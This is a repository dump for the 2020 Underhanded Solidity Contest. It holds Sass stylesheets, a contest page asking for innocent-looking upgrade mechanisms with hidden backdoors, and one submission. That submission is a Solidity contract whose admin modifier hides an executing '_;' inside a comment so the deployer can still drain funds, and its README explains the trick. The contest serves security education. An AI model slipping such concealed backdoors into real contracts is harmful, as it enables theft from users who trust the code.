@warn "$index: #{quote($index)} is not a number for `remove-nth`.";
}
@else if $index == 0 {
@warn "List index 0 must be a non-zero integer for `remove-nth`.";
}
@else if abs($index) > length($list) {
@warn "List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.";
}
@else {
$result: ();
$index: if($index < 0, length($list) + $index + 1, $index);
@for $i from 1 through length($list) {
@if $i != $index {
$result: append($result, nth($list, $i));
}
}
}
@return $result;
}
/// Gets a value from a map.
/// @author Hugo Giraudel
/// @param {map} $map Map.
/// @param {string} $keys Key(s).
/// @return {string} Value.
@function val($map, $keys...) {
@if nth($keys, 1) == null {
$keys: remove-nth($keys, 1);
}
@each $key in $keys {
$map: map-get($map, $key);
}
@return $map;
}
/// Gets a duration value.
/// @param {string} $keys Key(s).
/// @return {string} Value.
@function _duration($keys...) {
@return val($duration, $keys...);
}
/// Gets a font value.
/// @param {string} $keys Key(s).
/// @return {string} Value.
@function _font($keys...) {
@return val($font, $keys...);
}
/// Gets a misc value.
/// @param {string} $keys Key(s).
/// @return {string} Value.
@function _misc($keys...) {
@return val($misc, $keys...);
}
/// Gets a palette value.
/// @param {string} $keys Key(s).
/// @return {string} Value.
@function _palette($keys...) {
@return val($palette, $keys...);
}
/// Gets a size value.
/// @param {string} $keys Key(s).
/// @return {string} Value.
@function _size($keys...) {
@return val($size, $keys...);
}
================================================
FILE: 2020/assets/sass/libs/_html-grid.scss
================================================
// html-grid.scss v1.0 | @ajlkn | MIT licensed */
// Mixins.
/// Initializes the current element as an HTML grid.
/// @param {mixed} $gutters Gutters (either a single number to set both column/row gutters, or a list to set them individually).
/// @param {mixed} $suffix Column class suffix (optional; either a single suffix or a list).
@mixin html-grid($gutters: 1.5em, $suffix: '') {
// Initialize.
$cols: 12;
$multipliers: 0, 0.25, 0.5, 1, 1.50, 2.00;
$unit: 100% / $cols;
// Suffixes.
$suffixes: null;
@if (type-of($suffix) == 'list') {
$suffixes: $suffix;
}
@else {
$suffixes: ($suffix);
}
// Gutters.
$guttersCols: null;
$guttersRows: null;
@if (type-of($gutters) == 'list') {
$guttersCols: nth($gutters, 1);
$guttersRows: nth($gutters, 2);
}
@else {
$guttersCols: $gutters;
$guttersRows: 0;
}
// Row.
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
// Columns.
> * {
box-sizing: border-box;
}
// Gutters.
&.gtr-uniform {
> * {
> :last-child {
margin-bottom: 0;
}
}
}
// Alignment.
&.aln-left {
justify-content: flex-start;
}
&.aln-center {
justify-content: center;
}
&.aln-right {
justify-content: flex-end;
}
&.aln-top {
align-items: flex-start;
}
&.aln-middle {
align-items: center;
}
&.aln-bottom {
align-items: flex-end;
}
// Step through suffixes.
@each $suffix in $suffixes {
// Suffix.
@if ($suffix != '') {
$suffix: '-' + $suffix;
}
@else {
$suffix: '';
}
// Row.
// Important.
> .imp#{$suffix} {
order: -1;
}
// Columns, offsets.
@for $i from 1 through $cols {
> .col-#{$i}#{$suffix} {
width: $unit * $i;
}
> .off-#{$i}#{$suffix} {
margin-left: $unit * $i;
}
}
// Step through multipliers.
@each $multiplier in $multipliers {
// Gutters.
$class: null;
@if ($multiplier != 1) {
$class: '.gtr-' + ($multiplier * 100);
}
&#{$class} {
margin-top: ($guttersRows * $multiplier * -1);
margin-left: ($guttersCols * $multiplier * -1);
> * {
padding: ($guttersRows * $multiplier) 0 0 ($guttersCols * $multiplier);
}
// Uniform.
&.gtr-uniform {
margin-top: $guttersCols * $multiplier * -1;
> * {
padding-top: $guttersCols * $multiplier;
}
}
}
}
}
}
================================================
FILE: 2020/assets/sass/libs/_mixins.scss
================================================
/// Makes an element's :before pseudoelement a FontAwesome icon.
/// @param {string} $content Optional content value to use.
/// @param {string} $category Optional category to use.
/// @param {string} $where Optional pseudoelement to target (before or after).
@mixin icon($content: false, $category: regular, $where: before) {
text-decoration: none;
&:#{$where} {
@if $content {
content: $content;
}
-moz-osx-font-smoothing: grayscale;
-webkit-font-smoothing: antialiased;
display: inline-block;
font-style: normal;
font-variant: normal;
text-rendering: auto;
line-height: 1;
text-transform: none !important;
@if ($category == brands) {
font-family: 'Font Awesome 5 Brands';
}
@elseif ($category == solid) {
font-family: 'Font Awesome 5 Free';
font-weight: 900;
}
@else {
font-family: 'Font Awesome 5 Free';
font-weight: 400;
}
}
}
/// Applies padding to an element, taking the current element-margin value into account.
/// @param {mixed} $tb Top/bottom padding.
/// @param {mixed} $lr Left/right padding.
/// @param {list} $pad Optional extra padding (in the following order top, right, bottom, left)
/// @param {bool} $important If true, adds !important.
@mixin padding($tb, $lr, $pad: (0,0,0,0), $important: null) {
@if $important {
$important: '!important';
}
$x: 0.1em;
@if unit(_size(element-margin)) == 'rem' {
$x: 0.1rem;
}
padding: ($tb + nth($pad,1)) ($lr + nth($pad,2)) max($x, $tb - _size(element-margin) + nth($pad,3)) ($lr + nth($pad,4)) #{$important};
}
/// Encodes a SVG data URL so IE doesn't choke (via codepen.io/jakob-e/pen/YXXBrp).
/// @param {string} $svg SVG data URL.
/// @return {string} Encoded SVG data URL.
@function svg-url($svg) {
$svg: str-replace($svg, '"', '\'');
$svg: str-replace($svg, '%', '%25');
$svg: str-replace($svg, '<', '%3C');
$svg: str-replace($svg, '>', '%3E');
$svg: str-replace($svg, '&', '%26');
$svg: str-replace($svg, '#', '%23');
$svg: str-replace($svg, '{', '%7B');
$svg: str-replace($svg, '}', '%7D');
$svg: str-replace($svg, ';', '%3B');
@return url("data:image/svg+xml;charset=utf8,#{$svg}");
}
================================================
FILE: 2020/assets/sass/libs/_vars.scss
================================================
// Misc.
$misc: (
z-index-base: 10000,
max-features: 20,
max-sidebar-links: 20
);
// Duration.
$duration: (
transition: 0.2s,
activation: 1s
);
// Size.
$size: (
border-radius: 0.25em,
border-width: 1px,
element-height: 2.75em,
element-margin: 2em,
sidebar-width: 18em,
sidebar-height: 3.5em, // when <=large is active
inner-width: 75em
);
// Font.
$font: (
family: (Arial, Helvetica, sans-serif),
family-fixed: ('Courier New', monospace),
weight: normal,
weight-bold: bold,
kerning-alt: 0.25em
);
// Palette.
$palette: (
bg: #312450,
bg-alt: darken(#312450, 5),
fg: rgba(255,255,255,0.55),
fg-bold: #ffffff,
fg-light: rgba(255,255,255,0.35),
border: rgba(255,255,255,0.15),
border-bg: rgba(255,255,255,0.05),
accent1: #5e42a6,
accent1-alt: darken(#5e42a6, 10),
accent2: #5052b5,
accent2-alt: darken(#5052b5, 10),
accent3: #b74e91,
accent3-alt: darken(#b74e91, 10)
);
================================================
FILE: 2020/assets/sass/libs/_vendor.scss
================================================
// vendor.scss v1.0 | @ajlkn | MIT licensed */
// Vars.
/// Vendor prefixes.
/// @var {list}
$vendor-prefixes: (
'-moz-',
'-webkit-',
'-ms-',
''
);
/// Properties that should be vendorized.
/// Data via caniuse.com, github.com/postcss/autoprefixer, and developer.mozilla.org
/// @var {list}
$vendor-properties: (
// Animation.
'animation',
'animation-delay',
'animation-direction',
'animation-duration',
'animation-fill-mode',
'animation-iteration-count',
'animation-name',
'animation-play-state',
'animation-timing-function',
// Appearance.
'appearance',
// Backdrop filter.
'backdrop-filter',
// Background image options.
'background-clip',
'background-origin',
'background-size',
// Box sizing.
'box-sizing',
// Clip path.
'clip-path',
// Filter effects.
'filter',
// Flexbox.
'align-content',
'align-items',
'align-self',
'flex',
'flex-basis',
'flex-direction',
'flex-flow',
'flex-grow',
'flex-shrink',
'flex-wrap',
'justify-content',
'order',
// Font feature.
'font-feature-settings',
'font-language-override',
'font-variant-ligatures',
// Font kerning.
'font-kerning',
// Fragmented borders and backgrounds.
'box-decoration-break',
// Grid layout.
'grid-column',
'grid-column-align',
'grid-column-end',
'grid-column-start',
'grid-row',
'grid-row-align',
'grid-row-end',
'grid-row-start',
'grid-template-columns',
'grid-template-rows',
// Hyphens.
'hyphens',
'word-break',
// Masks.
'mask',
'mask-border',
'mask-border-outset',
'mask-border-repeat',
'mask-border-slice',
'mask-border-source',
'mask-border-width',
'mask-clip',
'mask-composite',
'mask-image',
'mask-origin',
'mask-position',
'mask-repeat',
'mask-size',
// Multicolumn.
'break-after',
'break-before',
'break-inside',
'column-count',
'column-fill',
'column-gap',
'column-rule',
'column-rule-color',
'column-rule-style',
'column-rule-width',
'column-span',
'column-width',
'columns',
// Object fit.
'object-fit',
'object-position',
// Regions.
'flow-from',
'flow-into',
'region-fragment',
// Scroll snap points.
'scroll-snap-coordinate',
'scroll-snap-destination',
'scroll-snap-points-x',
'scroll-snap-points-y',
'scroll-snap-type',
// Shapes.
'shape-image-threshold',
'shape-margin',
'shape-outside',
// Tab size.
'tab-size',
// Text align last.
'text-align-last',
// Text decoration.
'text-decoration-color',
'text-decoration-line',
'text-decoration-skip',
'text-decoration-style',
// Text emphasis.
'text-emphasis',
'text-emphasis-color',
'text-emphasis-position',
'text-emphasis-style',
// Text size adjust.
'text-size-adjust',
// Text spacing.
'text-spacing',
// Transform.
'transform',
'transform-origin',
// Transform 3D.
'backface-visibility',
'perspective',
'perspective-origin',
'transform-style',
// Transition.
'transition',
'transition-delay',
'transition-duration',
'transition-property',
'transition-timing-function',
// Unicode bidi.
'unicode-bidi',
// User select.
'user-select',
// Writing mode.
'writing-mode',
);
/// Values that should be vendorized.
/// Data via caniuse.com, github.com/postcss/autoprefixer, and developer.mozilla.org
/// @var {list}
$vendor-values: (
// Cross fade.
'cross-fade',
// Element function.
'element',
// Filter function.
'filter',
// Flexbox.
'flex',
'inline-flex',
// Grab cursors.
'grab',
'grabbing',
// Gradients.
'linear-gradient',
'repeating-linear-gradient',
'radial-gradient',
'repeating-radial-gradient',
// Grid layout.
'grid',
'inline-grid',
// Image set.
'image-set',
// Intrinsic width.
'max-content',
'min-content',
'fit-content',
'fill',
'fill-available',
'stretch',
// Sticky position.
'sticky',
// Transform.
'transform',
// Zoom cursors.
'zoom-in',
'zoom-out',
);
// Functions.
/// Removes a specific item from a list.
/// @author Hugo Giraudel
/// @param {list} $list List.
/// @param {integer} $index Index.
/// @return {list} Updated list.
@function remove-nth($list, $index) {
$result: null;
@if type-of($index) != number {
@warn "$index: #{quote($index)} is not a number for `remove-nth`.";
}
@else if $index == 0 {
@warn "List index 0 must be a non-zero integer for `remove-nth`.";
}
@else if abs($index) > length($list) {
@warn "List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.";
}
@else {
$result: ();
$index: if($index < 0, length($list) + $index + 1, $index);
@for $i from 1 through length($list) {
@if $i != $index {
$result: append($result, nth($list, $i));
}
}
}
@return $result;
}
/// Replaces a substring within another string.
/// @author Hugo Giraudel
/// @param {string} $string String.
/// @param {string} $search Substring.
/// @param {string} $replace Replacement.
/// @return {string} Updated string.
@function str-replace($string, $search, $replace: '') {
$index: str-index($string, $search);
@if $index {
@return str-slice($string, 1, $index - 1) + $replace + str-replace(str-slice($string, $index + str-length($search)), $search, $replace);
}
@return $string;
}
/// Replaces a substring within each string in a list.
/// @param {list} $strings List of strings.
/// @param {string} $search Substring.
/// @param {string} $replace Replacement.
/// @return {list} Updated list of strings.
@function str-replace-all($strings, $search, $replace: '') {
@each $string in $strings {
$strings: set-nth($strings, index($strings, $string), str-replace($string, $search, $replace));
}
@return $strings;
}
// Mixins.
/// Wraps @content in vendorized keyframe blocks.
/// @param {string} $name Name.
@mixin keyframes($name) {
@-moz-keyframes #{$name} { @content; }
@-webkit-keyframes #{$name} { @content; }
@-ms-keyframes #{$name} { @content; }
@keyframes #{$name} { @content; }
}
/// Vendorizes a declaration's property and/or value(s).
/// @param {string} $property Property.
/// @param {mixed} $value String/list of value(s).
@mixin vendor($property, $value) {
// Determine if property should expand.
$expandProperty: index($vendor-properties, $property);
// Determine if value should expand (and if so, add '-prefix-' placeholder).
$expandValue: false;
@each $x in $value {
@each $y in $vendor-values {
@if $y == str-slice($x, 1, str-length($y)) {
$value: set-nth($value, index($value, $x), '-prefix-' + $x);
$expandValue: true;
}
}
}
// Expand property?
@if $expandProperty {
@each $vendor in $vendor-prefixes {
#{$vendor}#{$property}: #{str-replace-all($value, '-prefix-', $vendor)};
}
}
// Expand just the value?
@elseif $expandValue {
@each $vendor in $vendor-prefixes {
#{$property}: #{str-replace-all($value, '-prefix-', $vendor)};
}
}
// Neither? Treat them as a normal declaration.
@else {
#{$property}: #{$value};
}
}
================================================
FILE: 2020/assets/sass/main.scss
================================================
@import 'libs/vars';
@import 'libs/functions';
@import 'libs/mixins';
@import 'libs/vendor';
@import 'libs/breakpoints';
@import 'libs/html-grid';
@import 'fontawesome-all.min.css';
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
// Breakpoints.
@include breakpoints((
xlarge: ( 1281px, 1680px ),
large: ( 981px, 1280px ),
medium: ( 737px, 980px ),
small: ( 481px, 736px ),
xsmall: ( 361px, 480px ),
xxsmall: ( null, 360px )
));
// Base.
@import 'base/reset';
@import 'base/page';
@import 'base/typography';
// Component.
@import 'components/row';
@import 'components/box';
@import 'components/button';
@import 'components/features';
@import 'components/form';
@import 'components/icon';
@import 'components/image';
@import 'components/list';
@import 'components/actions';
@import 'components/contact';
@import 'components/icons';
@import 'components/menu';
@import 'components/section';
@import 'components/split';
@import 'components/spotlights';
@import 'components/table';
@import 'components/wrapper';
// Layout.
@import 'layout/header';
@import 'layout/wrapper';
@import 'layout/footer';
@import 'layout/sidebar';
@import 'layout/intro';
================================================
FILE: 2020/assets/sass/noscript.scss
================================================
@import 'libs/vars';
@import 'libs/functions';
@import 'libs/mixins';
@import 'libs/vendor';
@import 'libs/breakpoints';
@import 'libs/html-grid';
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
/* Spotlights */
.spotlights {
> section {
> .image {
&:before {
opacity: 0 !important;
}
}
> .content {
> .inner {
@include vendor('transform', 'none !important');
opacity: 1 !important;
}
}
}
}
/* Wrapper */
.wrapper {
> .inner {
opacity: 1 !important;
@include vendor('transform', 'none !important');
}
}
/* Sidebar */
#sidebar {
> .inner {
opacity: 1 !important;
}
nav {
> ul {
> li {
@include vendor('transform', 'none !important');
opacity: 1 !important;
}
}
}
}
================================================
FILE: 2020/index.html
================================================
<!DOCTYPE HTML>
<!--
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html>
<head>
<title>Underhanded Solidity Contest</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
<link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap" rel="stylesheet">
<link rel="icon" href="favicon.ico">
<link rel="stylesheet" href="assets/css/main.css" />
<noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
</head>
<body class="is-preload">
<!-- Sidebar -->
<section id="sidebar">
<div class="inner">
<nav>
<ul>
<li><a href="#intro">Welcome</a></li>
<li><a href="#one">Contest Info</a></li>
<li><a href="#two">Coding Brief</a></li>
<li><a href="#three">Submission & Participation</a></li>
<li><a href="#four">Get in touch</a></li>
</ul>
</nav>
</div>
</section>
<!-- Wrapper -->
<div id="wrapper">
<!-- Intro -->
<section id="intro" class="wrapper style1 fullscreen fade-up">
<div class="inner">
<h1>Underhanded Underhanded Contest</h1>
<h3>The Underhanded Solidity Contest 2020 is over! <br><br>
Read about the winning submissions in the <a href="https://blog.soliditylang.org/2020/12/03/solidity-underhanded-contest-winners/">2020 winner announcement</a> or check out all submissions in <a href="https://github.com/ethereum/solidity-underhanded-contest/tree/master/submissions_2020">here</a>.<br><br>
The goal of the Underhanded Soldity Contest is to write innocent-looking Solidity code, which pretends to be clear and straightforward, but actually contains malicious behavior or backdoors.</h3><br>
<ul class="actions">
<li><a href="#one" class="button scrolly">Learn more</a></li>
</ul>
</div>
</section>
<!-- One -->
<section id="one" class="wrapper style2 spotlights">
<section>
<a class="image"><img src="images/cube_lines.png" alt="Cubes Illusion" data-position="center center" /></a>
<div class="content">
<div class="inner">
<h2>Theme</h2>
<p>This year's theme is upgradable contracts, or, more specifically, upgrade mechanisms.<br><br>
Upgrades are a frequently used practice and are often necessary, e.g. to fix bugs in smart contracts. The problem with upgrades lays in the fact that, most times, users aren’t presented with the upgrade beforehand and no consent is needed from the users to execute it.
Upgrade mechanisms are often designed such that a single account has the ability to change the code arbitrarily. However, a smart contract in which a single account is authorised to arbitrarily change its implementation defeats the idea of decentralization.<br><br>
Come up with an upgrade mechanism that seems fair and safe (e.g. by implementing an opt-out mechanism or a way to split the contract) but has a flaw or backdoor. The backdoor should be hard to discover and, in the best case, results in a single account having full control, even if it does not seem like it.<br><br>
To keep submissions reasonably sized, the contract that is actually to be upgraded should be very small, e.g. an ERC20 contract or a simple registry. Note that the flaw should be in the upgrade mechanism, not in the main contract - you do not have to come up with a reason to actually upgrade the contract, but a little “story” around the hack is always nice, too.
</p>
</div>
</div>
</section>
<section>
<a class="image"><img src="images/triangle_lines.png" alt="Triangle Illusion" data-position="center center" /></a>
<div class="content">
<div class="inner">
<h2>Judges</h2>
<p>Judges are presented with anonymised submissions. The submissions will be assessed by:</p>
<ul>
<li>Alex Beregszaszi, Solidity Co-Lead at Ethereum Foundation.</li>
<li>Austin Williams, Security Researcher at OpenZeppelin.</li>
<li>Christian Reitwiessner, Solidity Co-Lead at Ethereum Foundation.</li>
<li>Gonçalo Sá, Security Engineer at ConsenSys Diligence.</li>
<li>Stefan Beyer, Lead Auditor at Solidified.</li>
</ul>
</div>
</div>
</section>
<section>
<a class="image"><img src="images/zet_lines.png" alt="Zeta Illusion" data-position="center center" /></a>
<div class="content">
<div class="inner">
<h2>Prizes</h2>
<p>The prizes are sponsored by several Ethereum-related security projects as well as the Ethereum Foundation. Each winner, starting with the 1st place, can choose a prize from the pool.</p>
<ul>
<li>1x Ticket to <a href="https://devcon.ethereum.org">Devcon6</a>.</li>
<li>1x 1-year <a href="https://mythx.io/plans/">MythX Pro Plan</a> / 1x 1-year <a href="https://mythx.io/plans/">MythX Dev Plan.</a></li>
<li>1x Automatic acceptance into <a href="https://solidified.io/">Solidified</a> auditor pool & a paid audit with Solidified.</li>
<li>1x 1-year subscription to <a href="https://openzeppelin.com/defender/">OpenZeppelin Defender</a>.</li>
</ul>
<p>Furthermore, the winners and all qualified submissions will receive a custom NFT.</p>
</div>
</div>
</section>
</section>
<!-- Two -->
<section id="two" class="wrapper style3 fade-up">
<div class="inner">
<h2>Coding Brief & Guidelines</h2>
<p>All you need to know about contest participation and submission!</p>
<div class="features">
<section>
<span class="icon solid major fa-code"></span>
<h4>Brief</h4>
<p>Design an upgrade mechanism that looks “safe” (with opt-in/opt-out option) but has a backdoor. This means that users should believe that they have control over the upgrade process, either by opting out of the upgrade, splitting the contract or something similar, but in fact, the deployer still has some form of control. The main contract is not important and should be as small as possible.</p>
</section>
<section>
<span class="icon solid major fa-gem"></span>
<h4>Plausibility & Originality</h4>
<p>Remember to consider plausibility. Code that drops down to inline assembly without any clear reason why will look immediately suspicious, no matter how cleverly written the assembly-level flaw is.<br><br>In addition to that it's needless to say that truly original ideas will receive more points than making use of already well known exploit/backdoor mechanisms.</p>
</section>
<section>
<span class="icon solid major fa-save"></span>
<h4>Simplicity is key!</h4>
<p>Submissions that are short and clean will be scored higher than those that are lengthy and complicated. It’s easy to hide a vulnerability in complex and poorly written code; far harder to hide it in clean and simple code.</p>
</section>
<section>
<span class="icon solid major fa-clock"></span>
<h4>Timeline</h4>
<p>Make sure to send submissions before the end of the deadline.<br><br>
Submissions open on 2020-10-01.<br>
Submissions close on 2020-10-31.<br>
Winners will be announced by the end of November.</p>
</section>
<section>
<span class="icon solid major fa-lock-open"></span>
<h4>Open-Source License</h4>
<p>The entirety of your submission must be licensed under an open-source license. You must not submit anything that cannot be published.</p>
</section>
<section>
<span class="icon solid major fa-code-branch"></span>
<h4>Solidity Version</h4>
<p>It is highly encouraged to use <a href="https://github.com/ethereum/solidity/releases">Solidity</a> v0.7.0 or newer. If you want to use a version
of the 0.6 series, please make sure to not make use of flaws that have been fixed in 0.7. Don't use versions older than 0.6</p>
</section>
</div>
</div>
</section>
<!-- Three -->
<section id="three" class="wrapper style2 spotlights">
<section>
<div class="content">
<div class="inner">
<h2>Submission & Participation 📩</h2>
<p>Please email your submissions before the deadline (2020-10-31) to <a href="mailto:sol_underhanded@ethereum.org">sol_underhanded@ethereum.org</a>. Entries should consist of a ZIP file containing a README describing your submission and how it works (spoilers included), and one or more Solidity files.<br><br>
Each person can only enter one submission. If you want to make a team submission, nominate a single person to submit on your team’s behalf. Since entries will be forwarded to the judges and assessed anonymously, please do not include identifying information in the ZIP file.</p>
<h4>Who can participate?</h4>
<p>Anybody over the age of 18 can participate. Judges and organizers of this contest are excluded from participation. If your jurisdiction requires you to pay taxes on prizes or imposes other restrictions, please make sure to adhere to those. If taking part in such contests is prohibited in your area please adhere to your local laws.</p>
</div>
</section>
<section>
<div class="content">
<div class="inner">
<h2>About 📖</h2>
<p>Inspired by the <a href="http://www.underhanded-c.org/">Underhanded C Contest</a> and the first <a href="https://u.solidity.cc/">Underhanded Solidity Contest</a>, organized in 2017 by Nick Johnson, in 2020 the Solidity team decided that it is time for a revival. We hope this contest will get the traction it deserves in which case we could consider turning it into a recurring event.<br><br>
The Underhanded Solidity Contest aims to:
<ul>
<li>Raise awareness about smart contract security.</li>
<li>Uncover language design faults.</li>
<li>Battle-test recently introduced language features and restrictions.</li>
<li>Highlight anti-patterns in smart contact development.</li>
<li>Establish new best practices for secure smart contract development.</li>
</ul>
A big thank you to <a href="https://diligence.consensys.net/">ConsenSys Diligence</a>, <a href="https://solidified.io/">Solidified</a>, <a href="https://openzeppelin.com/">OpenZeppelin</a>, and the <a href="https://ethereum.foundation/">Ethereum Foundation</a> for contributing prizes, supporting with judging and all their input!
</p>
</div>
</section>
<!-- Four -->
<section id="four" class="wrapper style1 fade-up">
<div class="inner">
<h2>Get in touch 📮</h2>
<p>You have questions, want to get involved by sponsoring a prize, help with judging or propose a theme for the next Underhanded Solidity Contest? Then feel free to reach out to us!</p>
<section>
<ul class="contact">
<li>
<h3>Email</h3>
<a href="mailto:sol_underhanded@ethereum.org">sol_underhanded@ethereum.org</a>
</li>
<li>
<h3>Social</h3>
<ul class="icons">
<li><a href="https://twitter.com/solidity_lang" class="icon brands fa-twitter"><span class="label">Twitter</span></a></li>
<li><a href="https://github.com/ethereum/solidity" class="icon brands fa-github"><span class="label">Github</span></a></li>
<li><a href="https://gitter.im/ethereum/solidity-dev" class="icon brands fa-gitter"><span class="label">Gitter</span></a></li>
<li><a href="https://blog.soliditylang.org/" class="icon solid fa-book-open"><span class="label">Blog</span></a></li>
</ul>
</li>
</ul>
</section>
</div>
</div>
</section>
</div>
<!-- Footer -->
<footer id="footer" class="wrapper style1-alt">
<div class="inner">
<ul class="menu">
<li>Made by the Solidity Team - 2020</li><li>Hyperspace Template by <a href="http://html5up.net">HTML5 UP</a></li><li>illusions by GREY Perspective from the Noun Project</li>
</ul>
</div>
</footer>
<!-- Scripts -->
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/jquery.scrollex.min.js"></script>
<script src="assets/js/jquery.scrolly.min.js"></script>
<script src="assets/js/browser.min.js"></script>
<script src="assets/js/breakpoints.min.js"></script>
<script src="assets/js/util.js"></script>
<script src="assets/js/main.js"></script>
</body>
</html>
================================================
FILE: 2020/submissions_2020/submission10_MartinHolstSwende/README.md
================================================
## Malicious upgrader
This contract implements a contract which stores a `deployer` and `owner`. If the `owner` is unset, the `deployer` is the admin.
The `owner` (or `deployer`) can, ostensibly, later decide to remove the `deployer` admin-rights.
However, the modifier `onlyAdmins` actually
- rejects non-owner and non-deployer
- allows owner
- and, finally, executes the code anyway.
The code tries to hide the last `_:` by blending it into some ascii meme comments.
================================================
FILE: 2020/submissions_2020/submission10_MartinHolstSwende/test.sol
================================================
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.1;
contract test{
address owner = address(0);
address deployer = address(1);
bool deployerActive = true;
constructor(address ownerAddress){
deployer = msg.sender;
if (ownerAddress != address(0)){
/* Owner is set. That means the deployer should be deactivated as admin */
deployerActive = false;
owner = ownerAddress;
}
}
modifier onlyAdmins {
/* Non-admins go away, haha ʕノ•ᴥ•ʔノ ︵ ┻━┻ */
require(msg.sender == owner || msg.sender == deployer);
/* The owners can always call this thing! */
/* And Deployer can call it, if he's still active */
if (msg.sender == owner || deployerActive){
_;
return;
}
/* Ahh, no, this method is *disabled* (╯°□°)╯︵ ┻━┻ */_
;}
/* This is very special admin function. Drain contract of all money! */
function payTime() onlyAdmins public returns(bool){
msg.sender.transfer(address(this).balance);
return true;
}
/* Disable the deployer super-powers */
function disableDeployer() onlyAdmins external{
deployerActive = false;
}
}
================================================
FILE: 2020/submissions_2020/submission11_RobertMCForster/LICENSE.txt
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
